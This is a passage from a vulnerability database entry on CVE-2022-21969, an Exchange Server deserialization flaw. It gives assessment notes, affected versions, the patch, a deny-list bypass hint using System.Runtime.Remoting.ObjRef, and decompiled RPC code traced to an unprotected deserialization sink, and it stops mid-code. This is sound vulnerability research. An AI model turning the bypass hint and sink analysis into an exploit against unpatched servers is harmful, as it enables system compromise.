DATABASE RESOURCES PRICING ABOUT US

{"id": "AKB:0A7DD7B4-3522-4B79-B4A6-3B2A86B2EADE", "vendorId": null, "type": "attackerkb", "bulletinFamily": "info", "title": "CVE-2022-21969", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability. This CVE ID is unique from CVE-2022-21846, CVE-2022-21855.\n\n \n**Recent assessments:** \n \n**gwillcox-r7** at July 10, 2022 7:02am UTC reported:\n\nThere is a nice writeup on this at <https://medium.com/@frycos/searching-for-deserialization-protection-bypasses-in-microsoft-exchange-cve-2022-21969-bfa38f63a62d>. The bug appears to be a deserialization bug that occurs when loading a specific file, however according to the demo video at <https://gist.github.com/Frycos/a446d86d75c09330d77f37ca28923ddd> it seems to be more of a local attack. That being said it would grant you an LPE to SYSTEM if you were able to trigger it. Furthermore Frycos mentions that he thinks Microsoft didn\u2019t fix the root issue when he wrote the blog (as of January 12th 2022), so its possible the root issue wasn\u2019t fixed, though Frycos mentioned he didn\u2019t look into this further.\n\nFrom <https://twitter.com/MCKSysAr/status/1524518517990727683> it does seem like at the very least some exploitation attempts have been made to try exploit this although writing to `C:\\Program Files\\Microsoft\\Exchange Server\\V15\\UnifiedMessaging\\voicemail` to trigger the bug via making it process a voicemail has proven to be difficult to do. It does however note my tip, shown later in this writeup, of how to bypass the deny list by using `System.Runtime.Remoting.ObjRef` as was pointed out online, was valid.\n\nWhat follows below is some of my notes that I wrote up a while back and never published. Hopefully they are of help to someone.\n\n# Overview\n\n## Background info\n\nDeserialization vulnerability leading to RCE potentially. \nGot a CVSS 3.1 score of 9.0 with a temporal score metric score of 7.8.\n\nInteresting that it mentions the attack vector is Adjacent and the article notes that this may be only cause of the way that he exploited it and may indicate they didn\u2019t fix the root issue.\n\nLow attack complexity and low privileges required seems to indicate it may be authenticated but you don\u2019t need many privileges??? I need to check on this further.\n\nHigh impact on everything else suggest this is a full compromise; this would be in line with leaking the hash.\n\n## Affected\n\n * Microsoft Exchange Server 2019 Cumulative Update 11 prior to January 2022 security update. \n\n * Microsoft Exchange Server 2019 Cumulative Update 10 prior to January 2022 security update. \n\n * Microsoft Exchange Server 2016 Cumulative Update 22 prior to January 2022 security update. \n\n * Microsoft Exchange Server 2016 Cumulative Update 21 prior to January 2022 security update. \n\n * Microsoft Exchange Server 2013 Cumulative Update 23 prior to January 2022 security update. \n\n\n## Fixed By\n\nKB5008631\n\n## Other vulns fixed in same patch\n\nCVE-2022-21846 &lt;\u2013 NSA reported this one. \nCVE-2022-21855 &lt;\u2013 Reported by Andrew Ruddick of MSRC.\n\n# Writeup Review\n\nOriginal writeup: <https://www.instapaper.com/read/1487196325>\n\nWe have well known _sinks_ in [[.NET]] whereby one can make deserialization calls from unprotected formatters such as `BinaryFormatter`. These formatters as noted in [[CVE-2021-42321]] don\u2019t have any `SerializationBinder` or similar binders attached to them, which means that they are open to deserialize whatever they like, without any binder limiting them to what they can deserialize.\n\nInitial search for vulnerabilities took place around Exchange\u2019s `Rpc` functions, which use a binary protocol created by Microsoft for communication instead of using normal HTTP requests.\n\nLooking around we can see `Microsoft.Exchange.Rpc.ExchangeCertificates.ExchangeCertificateRpcServer` contains several function prototypes:\n \n \n // Microsoft.Exchange.Rpc.ExchangeCertificate.ExchangeCertificateRpcServer \n using System; \n using System.Security; \n using Microsoft.Exchange.Rpc; \n \n internal abstract class ExchangeCertificateRpcServer : RpcServerBase \n { \n \u00a0\u00a0\u00a0\u00a0public unsafe static IntPtr RpcIntfHandle = (IntPtr)<Module>.IExchangeCertificate_v1_0_s_ifspec; \n \n \u00a0\u00a0\u00a0\u00a0public abstract byte[] GetCertificate(int version, byte[] pInBytes); \n \n \u00a0\u00a0\u00a0\u00a0public abstract byte[] CreateCertificate(int version, byte[] pInBytes); \n \n \u00a0\u00a0\u00a0\u00a0public abstract byte[] RemoveCertificate(int version, byte[] pInBytes); \n \n \u00a0\u00a0\u00a0\u00a0public abstract byte[] ExportCertificate(int version, byte[] pInBytes, SecureString password); \n \n \u00a0\u00a0\u00a0\u00a0public abstract byte[] ImportCertificate(int version, byte[] pInBytes, SecureString password); \n \n \u00a0\u00a0\u00a0\u00a0public abstract byte[] EnableCertificate(int version, byte[] pInBytes); \n \n \u00a0\u00a0\u00a0\u00a0public ExchangeCertificateRpcServer() \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0} \n }\n \n\nThese are then implemented in `Microsoft.Exchange.Servicelets.ExchangeCertificate.ExchangeCertificateServer`.\n \n \n // Microsoft.Exchange.Servicelets.ExchangeCertificate.ExchangeCertificateServer \n using System; \n using System.Security; \n using System.Security.AccessControl; \n using System.Security.Principal; \n using Microsoft.Exchange.Management.SystemConfigurationTasks; \n using Microsoft.Exchange.Rpc; \n using Microsoft.Exchange.Rpc.ExchangeCertificate; \n using Microsoft.Exchange.Servicelets.ExchangeCertificate; \n \n internal class ExchangeCertificateServer : ExchangeCertificateRpcServer \n { \n \u00a0\u00a0\u00a0\u00a0internal const string RequestStoreName = \"REQUEST\"; \n \n \u00a0\u00a0\u00a0\u00a0private static ExchangeCertificateServer server; \n \n \u00a0\u00a0\u00a0\u00a0public static bool Start(out Exception e) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0e = null; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0SecurityIdentifier securityIdentifier = new SecurityIdentifier(WellKnownSidType.BuiltinAdministratorsSid, null); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0FileSystemAccessRule accessRule = new FileSystemAccessRule(securityIdentifier, FileSystemRights.Read, AccessControlType.Allow); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0FileSecurity fileSecurity = new FileSecurity(); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0fileSecurity.SetOwner(securityIdentifier); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0fileSecurity.SetAccessRule(accessRule); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0try \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0server = (ExchangeCertificateServer)RpcServerBase.RegisterServer(typeof(ExchangeCertificateServer), fileSecurity, 1u, isLocalOnly: false); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return true; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0catch (RpcException ex) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0RpcException ex2 = (RpcException)(e = ex); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return false; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0public static void Stop() \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (server != null) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0RpcServerBase.StopServer(ExchangeCertificateRpcServer.RpcIntfHandle); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0server = null; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0public override byte[] CreateCertificate(int version, byte[] inputBlob) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ExchangeCertificateServerHelper.CreateCertificate(ExchangeCertificateRpcVersion.Version1, inputBlob); \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0public override byte[] GetCertificate(int version, byte[] inputBlob) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ExchangeCertificateServerHelper.GetCertificate(ExchangeCertificateRpcVersion.Version1, inputBlob); \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0public override byte[] RemoveCertificate(int version, byte[] inputBlob) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ExchangeCertificateServerHelper.RemoveCertificate(ExchangeCertificateRpcVersion.Version1, inputBlob); \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0public override byte[] ExportCertificate(int version, byte[] inputBlob, SecureString password) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ExchangeCertificateServerHelper.ExportCertificate(ExchangeCertificateRpcVersion.Version1, inputBlob, password); \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0public override byte[] ImportCertificate(int version, byte[] inputBlob, SecureString password) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ExchangeCertificateServerHelper.ImportCertificate(ExchangeCertificateRpcVersion.Version1, inputBlob, password); \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0public override byte[] EnableCertificate(int version, byte[] inputBlob) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ExchangeCertificateServerHelper.EnableCertificate(ExchangeCertificateRpcVersion.Version1, inputBlob); \n \u00a0\u00a0\u00a0\u00a0} \n }\n \n\nExamining these functions we can see a lot of them take a byte array input named `byte[] inputBlob`. If we follow the `ImportCertificate()` function here as an example we can see that the implementation will call into `Microsoft.Exchange.Servicelets.ExchangeCertificate.ExchangeCertificateServerHelper`, as is also true for the other functions.\n \n \n // Microsoft.Exchange.Servicelets.ExchangeCertificate.ExchangeCertificateServerHelper \n using System; \n using System.Collections.Generic; \n using System.Management.Automation; \n using System.Security; \n using System.Security.Cryptography; \n using System.Security.Cryptography.X509Certificates; \n using System.Text; \n using Microsoft.Exchange.Data; \n using Microsoft.Exchange.Data.Common; \n using Microsoft.Exchange.Data.Directory; \n using Microsoft.Exchange.Data.Directory.Management; \n using Microsoft.Exchange.Data.Directory.SystemConfiguration; \n using Microsoft.Exchange.Extensions; \n using Microsoft.Exchange.Management.FederationProvisioning; \n using Microsoft.Exchange.Management.Metabase; \n using Microsoft.Exchange.Management.SystemConfigurationTasks; \n using Microsoft.Exchange.Management.Tasks; \n using Microsoft.Exchange.Net; \n using Microsoft.Exchange.Security.Cryptography.X509Certificates; \n using Microsoft.Exchange.Servicelets.ExchangeCertificate; \n \n internal class ExchangeCertificateServerHelper \n { \n \n ... \n \n \u00a0\u00a0\u00a0\u00a0public static byte[] ImportCertificate(ExchangeCertificateRpcVersion rpcVersion, byte[] inputBlob, SecureString password) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0bool flag = false; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0ExchangeCertificateRpc exchangeCertificateRpc = new ExchangeCertificateRpc(rpcVersion, inputBlob, null); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (string.IsNullOrEmpty(exchangeCertificateRpc.ImportCert)) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ExchangeCertificateRpc.SerializeError(rpcVersion, Strings.ImportCertificateDataInvalid, ErrorCategory.ReadError); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Server server = null; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0ITopologyConfigurationSession topologyConfigurationSession = DirectorySessionFactory.Default.CreateTopologyConfigurationSession(ConsistencyMode.IgnoreInvalid, ADSessionSettings.FromRootOrgScopeSet(), 1159, \"ImportCertificate\", \"d:\\\\dbs\\\\sh\\\\e19dt\\\\1103_100001\\\\cmd\\\\c\\\\sources\\\\Dev\\\\Management\\\\src\\\\ServiceHost\\\\Servicelets\\\\ExchangeCertificate\\\\Program\\\\ExchangeCertificateServer.cs\"); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0try \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0server = ManageExchangeCertificate.FindLocalServer(topologyConfigurationSession); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0catch (LocalServerNotFoundException) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0flag = true; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (flag || !ManageExchangeCertificate.IsServerRoleSupported(server)) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ExchangeCertificateRpc.SerializeError(rpcVersion, Strings.RoleDoesNotSupportExchangeCertificateTasksException, ErrorCategory.InvalidOperation); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0X509Store x509Store = new X509Store(StoreName.My, StoreLocation.LocalMachine); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0try \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0x509Store.Open(OpenFlags.ReadWrite | OpenFlags.OpenExistingOnly); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0catch (CryptographicException) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0x509Store = null; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0List<ServiceData> installed = new List<ServiceData>(); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0GetInstalledRoles(topologyConfigurationSession, server, installed); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0try \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0byte[] array = null; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (CertificateEnroller.TryAcceptPkcs7(exchangeCertificateRpc.ImportCert, out var thumbprint, out var untrustedRoot)) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0X509Certificate2Collection x509Certificate2Collection = x509Store.Certificates.Find(X509FindType.FindByThumbprint, thumbprint, validOnly: false); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (x509Certificate2Collection.Count > 0) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (!string.IsNullOrEmpty(exchangeCertificateRpc.ImportDescription)) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0x509Certificate2Collection[0].FriendlyName = exchangeCertificateRpc.ImportDescription; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0ExchangeCertificate exchangeCertificate = new ExchangeCertificate(x509Certificate2Collection[0]); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0UpdateServices(exchangeCertificate, server, installed); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0exchangeCertificateRpc.ReturnCert = exchangeCertificate; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return exchangeCertificateRpc.SerializeOutputParameters(rpcVersion); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (untrustedRoot) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ExchangeCertificateRpc.SerializeError(rpcVersion, Strings.ImportCertificateUntrustedRoot, ErrorCategory.ReadError); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0try \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0array = Convert.FromBase64String(exchangeCertificateRpc.ImportCert); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0catch (FormatException) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ExchangeCertificateRpc.SerializeError(rpcVersion, Strings.ImportCertificateBase64DataInvalid, ErrorCategory.ReadError); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0X509Certificate2 x509Certificate = null; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0try \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0X509KeyStorageFlags x509KeyStorageFlags = X509KeyStorageFlags.MachineKeySet | X509KeyStorageFlags.PersistKeySet; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0bool flag2 = password == null || password.Length == 0; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0X509Certificate2Collection x509Certificate2Collection2 = new X509Certificate2Collection(); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (exchangeCertificateRpc.ImportExportable) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0x509KeyStorageFlags |= X509KeyStorageFlags.Exportable; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0x509Certificate2Collection2.Import(array, flag2 ? null : password.AsUnsecureString(), x509KeyStorageFlags); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0x509Certificate = ManageExchangeCertificate.FindImportedCertificate(x509Certificate2Collection2); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0catch (CryptographicException) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ExchangeCertificateRpc.SerializeError(rpcVersion, Strings.ImportCertificateDataInvalid, ErrorCategory.ReadError); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (x509Certificate == null) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ExchangeCertificateRpc.SerializeError(rpcVersion, Strings.ImportCertificateDataInvalid, ErrorCategory.ReadError); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (!string.IsNullOrEmpty(exchangeCertificateRpc.ImportDescription)) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0x509Certificate.FriendlyName = exchangeCertificateRpc.ImportDescription; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (x509Store.Certificates.Find(X509FindType.FindByThumbprint, x509Certificate.Thumbprint, validOnly: false).Count > 0) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return ExchangeCertificateRpc.SerializeError(rpcVersion, Strings.ImportCertificateAlreadyExists(x509Certificate.Thumbprint), ErrorCategory.WriteError); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0x509Store.Add(x509Certificate); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0ExchangeCertificate exchangeCertificate2 = new ExchangeCertificate(x509Certificate); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0UpdateServices(exchangeCertificate2, server, installed); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0exchangeCertificateRpc.ReturnCert = exchangeCertificate2; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0finally \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0x509Store?.Close(); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return exchangeCertificateRpc.SerializeOutputParameters(rpcVersion); \n \u00a0\u00a0\u00a0\u00a0} \n \n ...\n \n\nWe can see from this that most functions appear to be calling `Microsoft.Exchange.Management.SystemConfigurationTasks.ExchangeCertificateRpc.ExchangeCertificateRpc()`. This has some interesting code relevant to deserialization:\n \n \n // Microsoft.Exchange.Management.SystemConfigurationTasks.ExchangeCertificateRpc \n using System.Collections.Generic; \n using Microsoft.Exchange.Rpc.ExchangeCertificate; \n \n public ExchangeCertificateRpc(ExchangeCertificateRpcVersion version, byte[] inputBlob, byte[] outputBlob) \n { \n \u00a0\u00a0\u00a0\u00a0inputParameters = new Dictionary<RpcParameters, object>(); \n \u00a0\u00a0\u00a0\u00a0if (inputBlob != null) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0switch (version) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0case ExchangeCertificateRpcVersion.Version1: \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0inputParameters = (Dictionary<RpcParameters, object>)DeserializeObject(inputBlob, customized: false); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0break; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0case 